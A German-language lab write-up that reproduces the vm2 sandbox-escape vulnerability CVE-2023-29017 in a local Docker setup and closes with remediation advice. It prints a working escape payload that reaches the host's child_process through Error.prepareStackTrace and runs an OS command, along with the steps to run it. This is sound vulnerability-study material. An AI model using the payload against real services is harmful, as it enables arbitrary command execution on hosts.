
Node.js vm2 CVE-2023-29017 Reproduktion mit Docker Compose und PoC
[WHS 4. Jahrgang, Klasse 31] - Kim Geon-woo (@gunwoo105)
vm2 ist eine Node.js-Sandbox-Bibliothek zur Ausführung von nicht vertrauenswürdigem JavaScript in einer eingeschränkten Umgebung. Im Normalfall sollte Code innerhalb der Sandbox keinen Zugriff auf sensible Funktionen wie process, require, child_process oder das Host-Dateisystem von Node.js haben.
Allerdings behandelt vm2 3.9.14 und älter die Host-Objekte, die bei einem unbehandelten asynchronen Fehler an Error.prepareStackTrace übergeben werden, nicht sicher. Ein Angreifer kann die Konstruktorkette dieses Objekts ausnutzen, um den Function-Konstruktor und das process-Objekt im Host-Kontext zu erlangen und schließlich über child_process Betriebssystembefehle auszuführen.
Statt ein vorgefertigtes verwundbares Image zu verwenden, wird das Image direkt aus dem offiziellen Node.js-Basisimage und dem im Repository enthaltenen Quellcode erstellt. Im Dockerfile werden die Versionen von Node.js und vm2 geprüft; weicht eine Version von der erwarteten ab, schlägt der Build fehl.
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
Der Grund dafür, worker.js als separaten Prozess auszuführen, ist, dass der PoC einen unbehandelten asynchronen Fehler auslöst. Selbst wenn der Worker während des Angriffs beendet wird, läuft der Webserver weiter, und der Erfolg kann zuverlässig über eine Markierungsdatei überprüft werden.
Alle folgenden Bedingungen müssen erfüllt sein.
vm2 3.9.14 oder älter.Nicht alle Dienste, die vm2 installiert haben, sind automatisch einem Remoteangriff ausgesetzt. Es muss eine Funktion vorhanden sein, die vom Angreifer kontrollierten Code in vm2 ausführt. Der Endpunkt /execute in dieser Übung implementiert diesen Anwendungsfall in minimaler Form.
Der Angriffsablauf ist wie folgt:
악성 JavaScript 전달
│
▼
처리되지 않은 비동기 오류 발생
│
▼
Error.prepareStackTrace 호출
│
▼
호스트 frames 객체 노출
│
▼
호스트 Function 생성자 획득
│
▼
process → require → child_process
│
▼
컨테이너 내부 OS 명령 실행
docker compose build --no-cache

docker compose up -d vulnerable
Überprüfen Sie den Status des Containers.
docker compose ps
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
<http://127.0.0.1:3000/health>

docker compose run --rm poc
echo "exit_code=$?"
Der PoC überprüft automatisch folgende Punkte:
/tmp/vm2-pwned erstellt wurdeuid= enthältUm Build und PoC in einem Schritt auszuführen, verwenden Sie den folgenden Befehl.
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
docker compose exec vulnerable sh -c '
echo "[Marker file]"
ls -l /tmp/vm2-pwned
echo
echo "[Command output]"
cat /tmp/vm2-pwned
'
docker compose down -v --rmi local --remove-orphans
Der vollständige PoC ist in poc/poc.js enthalten. Der zentrale Payload sieht wie folgt aus:
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
Error.prepareStackTraceError.prepareStackTrace = (error, frames) => {
Der Angreifer überschreibt die Funktion, die beim Erzeugen des Stack-Traces eines Fehlers ausgeführt wird.
Function-Konstruktorsframes.constructor.constructor
Über die Konstruktorkette des vom verwundbaren vm2 exponierten Host-frames-Objekts wird der Function-Konstruktor im Host-Kontext erreicht.
process-Objektsframes.constructor.constructor('return process')();
Es wird eine Funktion erzeugt und ausgeführt, die process im Host-Kontext zurückgibt.
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
Es wird child_process geladen, das innerhalb der Sandbox nicht bereitgestellt wird, und der Linux-Befehl id ausgeführt.
(async () => {}).constructor('return process')();
Die asynchrone Funktion wird dazu gebracht, auf das in der Sandbox nicht verfügbare process zu verweisen, wodurch ein abgelehntes Promise entsteht und der verwundbare Stack-Trace-Verarbeitungspfad erreicht wird.
Das normale JavaScript wird innerhalb von vm2 ausgeführt und gibt 42 zurück, erzeugt jedoch keinen Beweis für die Ausführung eines Betriebssystembefehls.
[2/4] Running benign JavaScript inside vm2
Normal JavaScript returned 42 without host command execution
Wird der bösartige Payload übermittelt, wird die vm2-Sandbox umgangen und der Befehl id mit den Berechtigungen des verwundbaren Node.js-Prozesses innerhalb des Containers ausgeführt.
[3/4] Sending CVE-2023-29017 payload
Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
Der PoC prüft die gespeicherten Beweise erneut und gibt anschließend den Erfolgsstatus zurück.
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

Die direkte Prüfung der Beweisdatei liefert folgende Ausgabe:

Die Markierungsdatei wird vor jeder Ausführung gelöscht und im Schritt der normalen Codeausführung nicht erstellt. Dadurch werden Fehlalarme durch zurückgebliebene Ergebnisse früherer Ausführungen verhindert.
Aktualisieren Sie auf eine nicht betroffene Version.
{
"dependencies": {
"vm2": "3.9.15"
}
}
Aktualisieren Sie anschließend die Lockfile und installieren Sie die festgelegten Abhängigkeiten.
npm install --package-lock-only
npm ci
Das offizielle Advisory gibt an, dass es keinen separaten Workaround gibt; die weitere Verwendung einer verwundbaren Version wird daher nicht empfohlen.
Führen Sie nicht vertrauenswürdigen Code nicht im selben Node.js-Prozess wie die Anwendung aus. Isolieren Sie ihn in einem separaten Prozess, Container oder einer virtuellen Maschine und verwerfen Sie die Umgebung nach der Ausführung.
no-new-privileges anwendenWenden Sie auf die Codeausführungsfunktion eine starke Authentifizierung und Autorisierung an und betreiben Sie keine öffentlich zugängliche API zur Ausführung beliebigen Codes. Authentifizierung ist jedoch nur eine unterstützende Maßnahme zur Verringerung der Angriffsfläche und kein Ersatz für die Behebung der Schwachstelle selbst.
| Komponente | Version und Konfiguration |
|---|
| Node.js | 18.15.0 |
| vm2 | 3.9.14 |
| Patch-Version | 3.9.15 |
| Laufzeitumgebung | Docker Compose |
| Container-Benutzer | node |
| Dienstport | 127.0.0.1:3000 |
| Paketinstallation | npm ci + package-lock.json |
| Datei | Rolle |
|---|
docker-compose.yml | Definiert die Konfiguration und Startreihenfolge des verwundbaren Dienstes und des PoC-Containers |
Dockerfile | Baut die Images für den verwundbaren Dienst und den PoC per Multi-Stage-Verfahren |
vulnerable/src/server.js | Stellt die Endpunkte /health, /execute, /evidence bereit |
vulnerable/src/worker.js | Führt Benutzereingaben in einer vm2-Instanz in einem separaten Prozess aus |
poc/poc.js | Automatisiert Versionsprüfung, normale Kontrollgruppe, Angriff und Beweisprüfung |
vulnerable/package-lock.json | Fixiert Paketversionen einschließlich transitiver Abhängigkeiten |